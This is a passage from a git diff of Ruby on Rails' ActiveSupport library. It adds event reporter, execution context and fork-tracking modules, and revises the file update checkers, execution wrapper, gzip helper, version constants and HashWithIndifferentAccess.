+          mask = ActiveSupport::ParameterFilter::FILTERED
+          ActiveSupport::ParameterFilter.new(filter_parameters, mask: mask)
+        end
+      end
+
+      def resolve_name(name_or_object)
+        case name_or_object
+        when String, Symbol
+          name_or_object.to_s
+        else
+          name_or_object.class.name
+        end
+      end
+
+      def resolve_payload(name_or_object, payload, **kwargs)
+        case name_or_object
+        when String, Symbol
+          handle_unexpected_args(name_or_object, payload, kwargs) if payload && kwargs.any?
+          if kwargs.any?
+            payload_filter.filter(kwargs.transform_keys(&:to_sym))
+          elsif payload
+            payload_filter.filter(payload.transform_keys(&:to_sym))
+          end
+        else
+          handle_unexpected_args(name_or_object, payload, kwargs) if payload || kwargs.any?
+          name_or_object
+        end
+      end
+
+      def handle_unexpected_args(name_or_object, payload, kwargs)
+        message = <<~MESSAGE
+          Rails.event.notify accepts either an event object, a payload hash, or keyword arguments.
+          Received: #{name_or_object.inspect}, #{payload.inspect}, #{kwargs.inspect}
+        MESSAGE
+
+        if raise_on_error?
+          raise ArgumentError, message
+        else
+          ActiveSupport.error_reporter.report(ArgumentError.new(message), handled: true)
+        end
+      end
+  end
+end
diff --git a/activesupport/lib/active_support/event_reporter/log_subscriber.rb b/activesupport/lib/active_support/event_reporter/log_subscriber.rb
new file mode 100644
index 0000000000000..33c4a9c46f661
--- /dev/null
+++ b/activesupport/lib/active_support/event_reporter/log_subscriber.rb
@@ -0,0 +1,61 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  class EventReporter
+    class LogSubscriber
+      include ColorizeLogging
+
+      LEVEL_CHECKS = {
+        debug: -> (logger) { logger.debug? },
+        info: -> (logger) { logger.info? },
+        error: -> (logger) { logger.error? },
+      }
+
+      class << self
+        def event_log_level(method_name, level)
+          log_levels[method_name.to_s] = level
+        end
+
+        def logger
+          @logger || default_logger
+        end
+
+        def default_logger
+          raise NotImplementedError
+        end
+
+        attr_writer :logger
+        attr_accessor :namespace
+
+        def subscription_filter
+          namespace = self.namespace.to_s
+          proc do |event|
+            name = event[:name]
+            if (dot_idx = name.index("."))
+              event_namespace = name[0, dot_idx]
+              namespace == event_namespace
+            end
+          end
+        end
+      end
+
+      class_attribute :log_levels, default: {} # :nodoc:
+
+      def emit(event)
+        return unless logger
+        name = event[:name]
+        event_method = name[name.index(".") + 1, name.length]
+        public_send(event_method, event) if LEVEL_CHECKS[log_levels[event_method]]&.call(logger)
+      end
+
+      def logger
+        self.class.logger
+      end
+
+      private
+        def namespace
+          self.class.namespace
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/event_reporter/test_helper.rb b/activesupport/lib/active_support/event_reporter/test_helper.rb
new file mode 100644
index 0000000000000..8d317f26c9384
--- /dev/null
+++ b/activesupport/lib/active_support/event_reporter/test_helper.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+module ActiveSupport::EventReporter::TestHelper # :nodoc:
+  class EventSubscriber # :nodoc:
+    attr_reader :events
+
+    def initialize
+      @events = []
+    end
+
+    def emit(event)
+      @events << event
+    end
+  end
+
+  def event_matcher(name:, payload: nil, tags: {}, context: {}, source_location: nil)
+    ->(event) {
+      return false unless event[:name] == name
+      return false unless event[:payload] == payload
+      return false unless event[:tags] == tags
+      return false unless event[:context] == context
+
+      [:filepath, :lineno, :label].each do |key|
+        if source_location && source_location[key]
+          return false unless event[:source_location][key] == source_location[key]
+        end
+      end
+
+      true
+    }
+  end
+end
diff --git a/activesupport/lib/active_support/evented_file_update_checker.rb b/activesupport/lib/active_support/evented_file_update_checker.rb
index 8e0dc71dca347..f1aa1f4e99d84 100644
--- a/activesupport/lib/active_support/evented_file_update_checker.rb
+++ b/activesupport/lib/active_support/evented_file_update_checker.rb
@@ -1,11 +1,15 @@
-require "set"
+# frozen_string_literal: true
+
+gem "listen", "~> 3.5"
+require "listen"
+
 require "pathname"
 require "concurrent/atomic/atomic_boolean"
 
 module ActiveSupport
   # Allows you to "listen" to changes in a file system.
-  # The evented file updater does not hit disk when checking for updates
-  # instead it uses platform specific file system events to trigger a change
+  # The evented file updater does not hit disk when checking for updates.
+  # Instead, it uses platform-specific file system events to trigger a change
   # in state.
   #
   # The file checker takes an array of files to watch or a hash specifying directories
@@ -13,8 +17,6 @@ module ActiveSupport
   # EventedFileUpdateChecker#execute is run or when EventedFileUpdateChecker#execute_if_updated
   # is run and there have been changes to the file system.
   #
-  # Note: Forking will cause the first call to `updated?` to return `true`.
-  #
   # Example:
   #
   #     checker = ActiveSupport::EventedFileUpdateChecker.new(["/tmp/foo"]) { puts "changed" }
@@ -30,54 +32,32 @@ module ActiveSupport
   #     checker.execute_if_updated
   #     # => "changed"
   #
-  class EventedFileUpdateChecker #:nodoc: all
+  class EventedFileUpdateChecker # :nodoc: all
     def initialize(files, dirs = {}, &block)
       unless block
         raise ArgumentError, "A block is required to initialize an EventedFileUpdateChecker"
       end
 
-      @ph    = PathHelper.new
-      @files = files.map { |f| @ph.xpath(f) }.to_set
-
-      @dirs = {}
-      dirs.each do |dir, exts|
-        @dirs[@ph.xpath(dir)] = Array(exts).map { |ext| @ph.normalize_extension(ext) }
-      end
+      @block = block
+      @core = Core.new(files, dirs)
+      ObjectSpace.define_finalizer(self, @core.finalizer)
+    end
 
-      @block      = block
-      @updated    = Concurrent::AtomicBoolean.new(false)
-      @lcsp       = @ph.longest_common_subpath(@dirs.keys)
-      @pid        = Process.pid
-      @boot_mutex = Mutex.new
-
-      if (@dtw = directories_to_watch).any?
-        # Loading listen triggers warnings. These are originated by a legit
-        # usage of attr_* macros for private attributes, but adds a lot of noise
-        # to our test suite. Thus, we lazy load it and disable warnings locally.
-        silence_warnings do
-          begin
-            require "listen"
-          rescue LoadError => e
-            raise LoadError, "Could not load the 'listen' gem. Add `gem 'listen'` to the development group of your Gemfile", e.backtrace
-          end
-        end
-      end
-      boot!
+    def inspect
+      "#<ActiveSupport::EventedFileUpdateChecker:#{object_id} @files=#{@core.files.to_a.inspect}"
     end
 
     def updated?
-      @boot_mutex.synchronize do
-        if @pid != Process.pid
-          boot!
-          @pid = Process.pid
-          @updated.make_true
-        end
+      if @core.restart?
+        @core.thread_safely(&:restart)
+        @core.updated.make_true
       end
-      @updated.true?
+
+      @core.updated.true?
     end
 
     def execute
-      @updated.make_false
+      @core.updated.make_false
       @block.call
     end
 
@@ -89,110 +69,117 @@ def execute_if_updated
       end
     end
 
-    private
-      def boot!
-        Listen.to(*@dtw, &method(:changed)).start
-      end
+    class Core
+      attr_reader :updated, :files
 
-      def changed(modified, added, removed)
-        unless updated?
-          @updated.make_true if (modified + added + removed).any? { |f| watching?(f) }
+      def initialize(files, dirs)
+        gem_paths = Gem.path
+        files = files.map { |f| Pathname(f).expand_path }
+        files.reject! { |f| f.to_s.start_with?(*gem_paths) }
+        @files = files.to_set
+
+        @dirs = dirs.each_with_object({}) do |(dir, exts), hash|
+          next if dir.start_with?(*gem_paths)
+          hash[Pathname(dir).expand_path] = Array(exts).map { |ext| ext.to_s.sub(/\A\.?/, ".") }.to_set
         end
-      end
 
-      def watching?(file)
-        file = @ph.xpath(file)
+        @common_path = common_path(@dirs.keys)
 
-        if @files.member?(file)
-          true
-        elsif file.directory?
-          false
-        else
-          ext = @ph.normalize_extension(file.extname)
+        @dtw = directories_to_watch
+        @missing = []
 
-          file.dirname.ascend do |dir|
-            if @dirs.fetch(dir, []).include?(ext)
-              break true
-            elsif dir == @lcsp || dir.root?
-              break false
-            end
-          end
+        @updated = Concurrent::AtomicBoolean.new(false)
+        @mutex = Mutex.new
+
+        start
+        # inotify / FSEvents file descriptors are inherited on fork, so
+        # we need to reopen them otherwise only the parent or the child
+        # will be notified.
+        # FIXME: this callback is keeping a reference on the instance
+        @after_fork = ActiveSupport::ForkTracker.after_fork { start }
+      end
+
+      def finalizer
+        proc do
+          stop
+          ActiveSupport::ForkTracker.unregister(@after_fork)
         end
       end
 
-      def directories_to_watch
-        dtw = (@files + @dirs.keys).map { |f| @ph.existing_parent(f) }
-        dtw.compact!
-        dtw.uniq!
+      def thread_safely
+        @mutex.synchronize do
+          yield self
+        end
+      end
 
-        @ph.filter_out_descendants(dtw)
+      def start
+        normalize_dirs!
+        @dtw, @missing = [*@dtw, *@missing].partition(&:exist?)
+        @listener = @dtw.any? ? Listen.to(*@dtw, &method(:changed)) : nil
+        @listener&.start
+
+        # Wait for the listener to be ready to avoid race conditions
+        # Unfortunately this isn't quite enough on macOS because the Darwin backend
+        # has an extra private thread we can't wait on.
+        @listener&.wait_for_state(:processing_events)
       end
 
-      class PathHelper
-        def xpath(path)
-          Pathname.new(path).expand_path
-        end
+      def stop
+        @listener&.stop
+      end
 
-        def normalize_extension(ext)
-          ext.to_s.sub(/\A\./, "")
-        end
+      def restart
+        stop
+        start
+      end
 
-        # Given a collection of Pathname objects returns the longest subpath
-        # common to all of them, or +nil+ if there is none.
-        def longest_common_subpath(paths)
-          return if paths.empty?
-
-          lcsp = Pathname.new(paths[0])
-
-          paths[1..-1].each do |path|
-            until ascendant_of?(lcsp, path)
-              if lcsp.root?
-                # If we get here a root directory is not an ascendant of path.
-                # This may happen if there are paths in different drives on
-                # Windows.
-                return
-              else
-                lcsp = lcsp.parent
-              end
-            end
-          end
+      def restart?
+        @missing.any?(&:exist?)
+      end
 
-          lcsp
+      def normalize_dirs!
+        @dirs.transform_keys! do |dir|
+          dir.exist? ? dir.realpath : dir
         end
+      end
 
-        # Returns the deepest existing ascendant, which could be the argument itself.
-        def existing_parent(dir)
-          dir.ascend do |ascendant|
-            break ascendant if ascendant.directory?
-          end
+      def changed(modified, added, removed)
+        unless @updated.true?
+          @updated.make_true if (modified + added + removed).any? { |f| watching?(f) }
         end
+      end
 
-        # Filters out directories which are descendants of others in the collection (stable).
-        def filter_out_descendants(dirs)
-          return dirs if dirs.length < 2
+      def watching?(file)
+        file = Pathname(file)
 
-          dirs_sorted_by_nparts = dirs.sort_by { |dir| dir.each_filename.to_a.length }
-          descendants = []
+        if @files.member?(file)
+          true
+        elsif file.directory?
+          false
+        else
+          ext = file.extname
 
-          until dirs_sorted_by_nparts.empty?
-            dir = dirs_sorted_by_nparts.shift
+          file.dirname.ascend do |dir|
+            matching = @dirs[dir]
 
-            dirs_sorted_by_nparts.reject! do |possible_descendant|
-              ascendant_of?(dir, possible_descendant) && descendants << possible_descendant
+            if matching && (matching.empty? || matching.include?(ext))
+              break true
+            elsif dir == @common_path || dir.root?
+              break false
             end
           end
-
-          # Array#- preserves order.
-          dirs - descendants
         end
+      end
 
-        private
+      def directories_to_watch
+        dtw = @dirs.keys | @files.map(&:dirname)
+        accounted_for = dtw.to_set + Gem.path.map { |path| Pathname(path) }
+        dtw.reject { |dir| dir.ascend.drop(1).any? { |parent| accounted_for.include?(parent) } }
+      end
 
-          def ascendant_of?(base, other)
-            base != other && other.ascend do |ascendant|
-              break true if base == ascendant
-            end
-          end
+      def common_path(paths)
+        paths.map { |path| path.ascend.to_a }.reduce(&:&)&.first
       end
+    end
   end
 end
diff --git a/activesupport/lib/active_support/execution_context.rb b/activesupport/lib/active_support/execution_context.rb
new file mode 100644
index 0000000000000..e720b7b397fab
--- /dev/null
+++ b/activesupport/lib/active_support/execution_context.rb
@@ -0,0 +1,110 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  module ExecutionContext # :nodoc:
+    class Record
+      attr_reader :store, :current_attributes_instances
+
+      def initialize
+        @store = {}
+        @current_attributes_instances = {}
+        @stack = []
+      end
+
+      def push
+        @stack << @store << @current_attributes_instances
+        @store = {}
+        @current_attributes_instances = {}
+        self
+      end
+
+      def pop
+        @current_attributes_instances = @stack.pop
+        @store = @stack.pop
+        self
+      end
+    end
+
+    @after_change_callbacks = []
+
+    # Execution context nesting should only legitimately happen during test
+    # because the test case itself is wrapped in an executor, and it might call
+    # into a controller or job which should be executed with their own fresh context.
+    # However in production this should never happen, and for extra safety we make sure to
+    # fully clear the state at the end of the request or job cycle.
+    @nestable = false
+
+    class << self
+      attr_accessor :nestable
+
+      def after_change(&block)
+        @after_change_callbacks << block
+      end
+
+      # Updates the execution context. If a block is given, it resets the provided keys to their
+      # previous value once the block exits.
+      def set(**options)
+        options.symbolize_keys!
+        keys = options.keys
+
+        store = record.store
+
+        previous_context = if block_given?
+          keys.zip(store.values_at(*keys)).to_h
+        end
+
+        store.merge!(options)
+        @after_change_callbacks.each(&:call)
+
+        if block_given?
+          begin
+            yield
+          ensure
+            store.merge!(previous_context)
+            @after_change_callbacks.each(&:call)
+          end
+        end
+      end
+
+      def []=(key, value)
+        record.store[key.to_sym] = value
+        @after_change_callbacks.each(&:call)
+      end
+
+      def to_h
+        record.store.dup
+      end
+
+      def push
+        if @nestable
+          record.push
+        else
+          clear
+        end
+        self
+      end
+
+      def pop
+        if @nestable
+          record.pop
+        else
+          clear
+        end
+        self
+      end
+
+      def clear
+        IsolatedExecutionState[:active_support_execution_context] = nil
+      end
+
+      def current_attributes_instances
+        record.current_attributes_instances
+      end
+
+      private
+        def record
+          IsolatedExecutionState[:active_support_execution_context] ||= Record.new
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/execution_context/test_helper.rb b/activesupport/lib/active_support/execution_context/test_helper.rb
new file mode 100644
index 0000000000000..ae8c43ea0c30e
--- /dev/null
+++ b/activesupport/lib/active_support/execution_context/test_helper.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module ActiveSupport::ExecutionContext::TestHelper # :nodoc:
+  def before_setup
+    ActiveSupport::ExecutionContext.clear
+    super
+  end
+
+  def after_teardown
+    super
+    ActiveSupport::ExecutionContext.clear
+  end
+end
diff --git a/activesupport/lib/active_support/execution_wrapper.rb b/activesupport/lib/active_support/execution_wrapper.rb
index ca88e7876b30c..789063388eda8 100644
--- a/activesupport/lib/active_support/execution_wrapper.rb
+++ b/activesupport/lib/active_support/execution_wrapper.rb
@@ -1,3 +1,6 @@
+# frozen_string_literal: true
+
+require "active_support/error_reporter"
 require "active_support/callbacks"
 
 module ActiveSupport
@@ -60,51 +63,68 @@ def self.register_hook(hook, outer: false)
     # after the work has been performed.
     #
     # Where possible, prefer +wrap+.
-    def self.run!
-      if active?
-        Null
+    def self.run!(reset: false)
+      if reset
+        lost_instance = IsolatedExecutionState.delete(active_key)
+        lost_instance&.complete!
       else
-        new.tap do |instance|
-          success = nil
-          begin
-            instance.run!
-            success = true
-          ensure
-            instance.complete! unless success
-          end
+        return Null if active?
+      end
+
+      new.tap do |instance|
+        success = nil
+        begin
+          instance.run!
+          success = true
+        ensure
+          instance.complete! unless success
         end
       end
     end
 
     # Perform the work in the supplied block as an execution.
-    def self.wrap
+    def self.wrap(source: "application.active_support")
       return yield if active?
 
       instance = run!
       begin
         yield
+      rescue Exception => error
+        error_reporter&.report(error, handled: false, source: source)
+        raise
       ensure
         instance.complete!
       end
     end
 
-    class << self # :nodoc:
-      attr_accessor :active
+    def self.perform # :nodoc:
+      instance = new
+      instance.run
+      begin
+        yield
+      ensure
+        instance.complete
+      end
     end
 
-    def self.inherited(other) # :nodoc:
-      super
-      other.active = Concurrent::Hash.new
+    def self.error_reporter # :nodoc:
+      ActiveSupport.error_reporter
     end
 
-    self.active = Concurrent::Hash.new
+    def self.active_key # :nodoc:
+      @active_key ||= :"active_execution_wrapper_#{object_id}"
+    end
 
     def self.active? # :nodoc:
-      @active[Thread.current]
+      IsolatedExecutionState.key?(active_key)
     end
 
     def run! # :nodoc:
-      self.class.active[Thread.current] = true
+      IsolatedExecutionState[self.class.active_key] = self
+      run
+    end
+
+    def run # :nodoc:
       run_callbacks(:run)
     end
 
@@ -113,9 +133,13 @@ def run! # :nodoc:
     #
     # Where possible, prefer +wrap+.
     def complete!
-      run_callbacks(:complete)
+      complete
     ensure
-      self.class.active.delete Thread.current
+      IsolatedExecutionState.delete(self.class.active_key)
+    end
+
+    def complete # :nodoc:
+      run_callbacks(:complete)
     end
 
     private
diff --git a/activesupport/lib/active_support/executor.rb b/activesupport/lib/active_support/executor.rb
index a6400cae0a4d4..ce391b07ec64c 100644
--- a/activesupport/lib/active_support/executor.rb
+++ b/activesupport/lib/active_support/executor.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "active_support/execution_wrapper"
 
 module ActiveSupport
diff --git a/activesupport/lib/active_support/executor/test_helper.rb b/activesupport/lib/active_support/executor/test_helper.rb
new file mode 100644
index 0000000000000..97f489dc2e31f
--- /dev/null
+++ b/activesupport/lib/active_support/executor/test_helper.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+module ActiveSupport::Executor::TestHelper # :nodoc:
+  def run(...)
+    Rails.application.executor.perform { super }
+  end
+end
diff --git a/activesupport/lib/active_support/file_update_checker.rb b/activesupport/lib/active_support/file_update_checker.rb
index 2b5e3c13509c2..93acc09cbc2bf 100644
--- a/activesupport/lib/active_support/file_update_checker.rb
+++ b/activesupport/lib/active_support/file_update_checker.rb
@@ -1,7 +1,11 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/time/calculations"
 
 module ActiveSupport
-  # FileUpdateChecker specifies the API used by Rails to watch files
+  # = \File Update Checker
+  #
+  # FileUpdateChecker specifies the API used by \Rails to watch files
   # and control reloading. The API depends on four methods:
   #
   # * +initialize+ which expects two parameters and one block as
@@ -18,7 +22,7 @@ module ActiveSupport
   # After initialization, a call to +execute_if_updated+ must execute
   # the block only if there was really a change in the filesystem.
   #
-  # This class is used by Rails to reload the I18n framework whenever
+  # This class is used by \Rails to reload the I18n framework whenever
   # they are changed upon a new request.
   #
   #   i18n_reloader = ActiveSupport::FileUpdateChecker.new(paths) do
@@ -42,8 +46,11 @@ def initialize(files, dirs = {}, &block)
         raise ArgumentError, "A block is required to initialize a FileUpdateChecker"
       end
 
-      @files = files.freeze
-      @glob  = compile_glob(dirs)
+      gem_paths = Gem.path
+      @files = files.reject { |file| File.expand_path(file).start_with?(*gem_paths) }.freeze
+
+      @globs = compile_glob(dirs)&.reject { |dir| dir.start_with?(*gem_paths) }
+
       @block = block
 
       @watched    = nil
@@ -96,12 +103,11 @@ def execute_if_updated
     end
 
     private
-
       def watched
         @watched || begin
           all = @files.select { |f| File.exist?(f) }
-          all.concat(Dir[@glob]) if @glob
-          all
+          all.concat(Dir[*@globs]) if @globs
+          all.tap(&:uniq!)
         end
       end
 
@@ -117,7 +123,7 @@ def updated_at(paths)
       # healthy to consider this edge case because with mtimes in the future
       # reloading is not triggered.
       def max_mtime(paths)
-        time_now = Time.now
+        time_now = Time.at(0, Process.clock_gettime(Process::CLOCK_REALTIME, :nanosecond), :nanosecond)
         max_mtime = nil
 
         # Time comparisons are performed with #compare_without_coercion because
@@ -142,10 +148,9 @@ def compile_glob(hash)
         hash.freeze # Freeze so changes aren't accidentally pushed
         return if hash.empty?
 
-        globs = hash.map do |key, value|
+        hash.map do |key, value|
           "#{escape(key)}/**/*#{compile_ext(value)}"
         end
-        "{#{globs.join(",")}}"
       end
 
       def escape(key)
diff --git a/activesupport/lib/active_support/fork_tracker.rb b/activesupport/lib/active_support/fork_tracker.rb
new file mode 100644
index 0000000000000..2ff8fc5bb754e
--- /dev/null
+++ b/activesupport/lib/active_support/fork_tracker.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  module ForkTracker # :nodoc:
+    module CoreExt
+      def _fork
+        pid = super
+        if pid == 0
+          ForkTracker.after_fork_callback
+        end
+        pid
+      end
+    end
+
+    @pid = Process.pid
+    @callbacks = []
+
+    class << self
+      def after_fork_callback
+        new_pid = Process.pid
+        if @pid != new_pid
+          @callbacks.each(&:call)
+          @pid = new_pid
+        end
+      end
+
+      def hook!
+        ::Process.singleton_class.prepend(CoreExt)
+      end
+
+      def after_fork(&block)
+        @callbacks << block
+        block
+      end
+
+      def unregister(callback)
+        @callbacks.delete(callback)
+      end
+    end
+  end
+end
+
+ActiveSupport::ForkTracker.hook!
diff --git a/activesupport/lib/active_support/gem_version.rb b/activesupport/lib/active_support/gem_version.rb
index 74f2d8dd4bbd9..f8622f25faeed 100644
--- a/activesupport/lib/active_support/gem_version.rb
+++ b/activesupport/lib/active_support/gem_version.rb
@@ -1,12 +1,14 @@
+# frozen_string_literal: true
+
 module ActiveSupport
-  # Returns the version of the currently loaded Active Support as a <tt>Gem::Version</tt>.
+  # Returns the currently loaded version of Active Support as a +Gem::Version+.
   def self.gem_version
     Gem::Version.new VERSION::STRING
   end
 
   module VERSION
-    MAJOR = 5
-    MINOR = 1
+    MAJOR = 8
+    MINOR = 2
     TINY  = 0
     PRE   = "alpha"
 
diff --git a/activesupport/lib/active_support/gzip.rb b/activesupport/lib/active_support/gzip.rb
index 84eef6a623fe1..73e6ef60d4cb7 100644
--- a/activesupport/lib/active_support/gzip.rb
+++ b/activesupport/lib/active_support/gzip.rb
@@ -1,7 +1,11 @@
+# frozen_string_literal: true
+
 require "zlib"
 require "stringio"
 
 module ActiveSupport
+  # = Active Support \Gzip
+  #
   # A convenient wrapper for the zlib standard library that allows
   # compression/decompression of strings with gzip.
   #
@@ -21,13 +25,14 @@ def close; rewind; end
 
     # Decompresses a gzipped string.
     def self.decompress(source)
-      Zlib::GzipReader.new(StringIO.new(source)).read
+      Zlib::GzipReader.wrap(StringIO.new(source), &:read)
     end
 
     # Compresses a string using gzip.
     def self.compress(source, level = Zlib::DEFAULT_COMPRESSION, strategy = Zlib::DEFAULT_STRATEGY)
       output = Stream.new
       gz = Zlib::GzipWriter.new(output, level, strategy)
+      gz.mtime = 0
       gz.write(source)
       gz.close
       output.string
diff --git a/activesupport/lib/active_support/hash_with_indifferent_access.rb b/activesupport/lib/active_support/hash_with_indifferent_access.rb
index 79e7feaf478f7..5558ec946c4dd 100644
--- a/activesupport/lib/active_support/hash_with_indifferent_access.rb
+++ b/activesupport/lib/active_support/hash_with_indifferent_access.rb
@@ -1,7 +1,13 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/hash/keys"
 require "active_support/core_ext/hash/reverse_merge"
+require "active_support/core_ext/hash/except"
+require "active_support/core_ext/hash/slice"
 
 module ActiveSupport
+  # = \Hash With Indifferent Access
+  #
   # Implements a hash where keys <tt>:foo</tt> and <tt>"foo"</tt> are considered
   # to be the same.
   #
@@ -33,7 +39,7 @@ module ActiveSupport
   #
   # but this class is intended for use cases where strings or symbols are the
   # expected keys and it is convenient to understand both as the same. For
-  # example the +params+ hash in Ruby on Rails.
+  # example the +params+ hash in Ruby on \Rails.
   #
   # Note that core extensions define <tt>Hash#with_indifferent_access</tt>:
   #
@@ -41,7 +47,7 @@ module ActiveSupport
   #
   # which may be handy.
   #
-  # To access this class outside of Rails, require the core extension with:
+  # To access this class outside of \Rails, require the core extension with:
   #
   #   require "active_support/core_ext/hash/indifferent_access"
   #
@@ -61,12 +67,14 @@ def nested_under_indifferent_access
       self
     end
 
-    def initialize(constructor = {})
-      if constructor.respond_to?(:to_hash)
+    def initialize(constructor = nil)
+      if constructor.nil?
+        super()
+      elsif constructor.respond_to?(:to_hash)
         super()
         update(constructor)
 
-        hash = constructor.to_hash
+        hash = constructor.is_a?(Hash) ? constructor : constructor.to_hash
         self.default = hash.default if hash.default
         self.default_proc = hash.default_proc if hash.default_proc
       else
@@ -74,16 +82,6 @@ def initialize(constructor = {})
       end
     end
 
-    def default(*args)
-      arg_key = args.first
-
-      if include?(key = convert_key(arg_key))
-        self[key]
-      else
-        super
-      end
-    end
-
     def self.[](*args)
       new.merge!(Hash[*args])
     end
@@ -97,13 +95,29 @@ def self.[](*args)
     #   hash[:key] = 'value'
     #
     # This value can be later fetched using either +:key+ or <tt>'key'</tt>.
+    #
+    # If the value is a Hash or contains one or multiple Hashes, they will be
+    # converted to +HashWithIndifferentAccess+.
     def []=(key, value)
-      regular_writer(convert_key(key), convert_value(value, for: :assignment))
+      regular_writer(convert_key(key), convert_value(value, conversion: :assignment))
     end
 
-    alias_method :store, :[]=
+    # Assigns a new value to the hash:
+    #
+    #   hash = ActiveSupport::HashWithIndifferentAccess.new
+    #   hash[:key] = 'value'
+    #
+    # This value can be later fetched using either +:key+ or <tt>'key'</tt>.
+    #
+    # If the value is a Hash or contains one or multiple Hashes, they will be
+    # converted to +HashWithIndifferentAccess+. unless `convert_value: false`
+    # is set.
+    def store(key, value, convert_value: true)
+      value = convert_value(value, conversion: :assignment) if convert_value
+      regular_writer(convert_key(key), value)
+    end
 
-    # Updates the receiver in-place, merging in the hash passed as argument:
+    # Updates the receiver in-place, merging in the hashes passed as arguments:
     #
     #   hash_1 = ActiveSupport::HashWithIndifferentAccess.new
     #   hash_1[:key] = 'value'
@@ -113,11 +127,14 @@ def []=(key, value)
     #
     #   hash_1.update(hash_2) # => {"key"=>"New Value!"}
     #
-    # The argument can be either an
-    # <tt>ActiveSupport::HashWithIndifferentAccess</tt> or a regular +Hash+.
+    #   hash = ActiveSupport::HashWithIndifferentAccess.new
+    #   hash.update({ "a" => 1 }, { "b" => 2 }) # => { "a" => 1, "b" => 2 }
+    #
+    # The arguments can be either an
+    # +ActiveSupport::HashWithIndifferentAccess+ or a regular +Hash+.
     # In either case the merge respects the semantics of indifferent access.
     #
-    # If the argument is a regular hash with keys +:key+ and +"key"+ only one
+    # If the argument is a regular hash with keys +:key+ and <tt>"key"</tt> only one
     # of the values end up in the receiver, but which one is unspecified.
     #
     # When given a block, the value for duplicated keys will be determined
@@ -128,18 +145,15 @@ def []=(key, value)
     #   hash_1[:key] = 10
     #   hash_2['key'] = 12
     #   hash_1.update(hash_2) { |key, old, new| old + new } # => {"key"=>22}
-    def update(other_hash)
-      if other_hash.is_a? HashWithIndifferentAccess
-        super(other_hash)
+    def update(*other_hashes, &block)
+      if other_hashes.size == 1
+        update_with_single_argument(other_hashes.first, block)
       else
-        other_hash.to_hash.each_pair do |key, value|
-          if block_given? && key?(key)
-            value = yield(convert_key(key), self[key], value)
-          end
-          regular_writer(convert_key(key), convert_value(value))
+        other_hashes.each do |other_hash|
+          update_with_single_argument(other_hash, block)
         end
-        self
       end
+      self
     end
 
     alias_method :merge!, :update
@@ -171,6 +185,19 @@ def [](key)
       super(convert_key(key))
     end
 
+    # Same as <tt>Hash#assoc</tt> where the key passed as argument can be
+    # either a string or a symbol:
+    #
+    #   counters = ActiveSupport::HashWithIndifferentAccess.new
+    #   counters[:foo] = 1
+    #
+    #   counters.assoc('foo') # => ["foo", 1]
+    #   counters.assoc(:foo)  # => ["foo", 1]
+    #   counters.assoc(:zoo)  # => nil
+    def assoc(key)
+      super(convert_key(key))
+    end
+
     # Same as <tt>Hash#fetch</tt> where the key passed as argument can be
     # either a string or a symbol:
     #
@@ -185,14 +212,61 @@ def fetch(key, *extras)
       super(convert_key(key), *extras)
     end
 
+    # Same as <tt>Hash#dig</tt> where the key passed as argument can be
+    # either a string or a symbol:
+    #
+    #   counters = ActiveSupport::HashWithIndifferentAccess.new
+    #   counters[:foo] = { bar: 1 }
+    #
+    #   counters.dig('foo', 'bar')     # => 1
+    #   counters.dig(:foo, :bar)       # => 1
+    #   counters.dig(:zoo)             # => nil
+    def dig(*args)
+      args[0] = convert_key(args[0]) if args.size > 0
+      super(*args)
+    end
+
+    # Same as <tt>Hash#default</tt> where the key passed as argument can be
+    # either a string or a symbol:
+    #
+    #   hash = ActiveSupport::HashWithIndifferentAccess.new(1)
+    #   hash.default                   # => 1
+    #
+    #   hash = ActiveSupport::HashWithIndifferentAccess.new { |hash, key| key }
+    #   hash.default                   # => nil
+    #   hash.default('foo')            # => 'foo'
+    #   hash.default(:foo)             # => 'foo'
+    def default(key = (no_key = true))
+      if no_key
+        super()
+      else
+        super(convert_key(key))
+      end
+    end
+
     # Returns an array of the values at the specified indices:
     #
     #   hash = ActiveSupport::HashWithIndifferentAccess.new
     #   hash[:a] = 'x'
     #   hash[:b] = 'y'
     #   hash.values_at('a', 'b') # => ["x", "y"]
-    def values_at(*indices)
-      indices.collect { |key| self[convert_key(key)] }
+    def values_at(*keys)
+      keys.map! { |key| convert_key(key) }
+      super
+    end
+
+    # Returns an array of the values at the specified indices, but also
+    # raises an exception when one of the keys can't be found.
+    #
+    #   hash = ActiveSupport::HashWithIndifferentAccess.new
+    #   hash[:a] = 'x'
+    #   hash[:b] = 'y'
+    #   hash.fetch_values('a', 'b') # => ["x", "y"]
+    #   hash.fetch_values('a', 'c') { |key| 'z' } # => ["x", "z"]
+    #   hash.fetch_values('a', 'c') # => KeyError: key not found: "c"
+    def fetch_values(*indices, &block)
+      indices.map! { |key| convert_key(key) }
+      super
     end
 
     # Returns a shallow copy of the hash.
@@ -201,19 +275,17 @@ def values_at(*indices)
     #   dup  = hash.dup
     #   dup[:a][:c] = 'c'
     #
-    #   hash[:a][:c] # => nil
+    #   hash[:a][:c] # => "c"
     #   dup[:a][:c]  # => "c"
     def dup
-      self.class.new(self).tap do |new_hash|
-        set_defaults(new_hash)
-      end
+      copy_defaults(self.class.new(self))
     end
 
     # This method has the same semantics of +update+, except it does not
     # modify the receiver but rather returns a new hash with indifferent
     # access with the result of the merge.
-    def merge(hash, &block)
-      dup.update(hash, &block)
+    def merge(*hashes, &block)
+      dup.update(*hashes, &block)
     end
 
     # Like +merge+ but the other way around: Merges the receiver into the
@@ -223,20 +295,22 @@ def merge(hash, &block)
     #   hash['a'] = nil
     #   hash.reverse_merge(a: 0, b: 1) # => {"a"=>nil, "b"=>1}
     def reverse_merge(other_hash)
-      super(self.class.new(other_hash))
+      super(cast(other_hash))
     end
+    alias_method :with_defaults, :reverse_merge
 
     # Same semantics as +reverse_merge+ but modifies the receiver in-place.
     def reverse_merge!(other_hash)
-      replace(reverse_merge(other_hash))
+      super(cast(other_hash))
     end
+    alias_method :with_defaults!, :reverse_merge!
 
     # Replaces the contents of this hash with other_hash.
     #
     #   h = { "a" => 100, "b" => 200 }
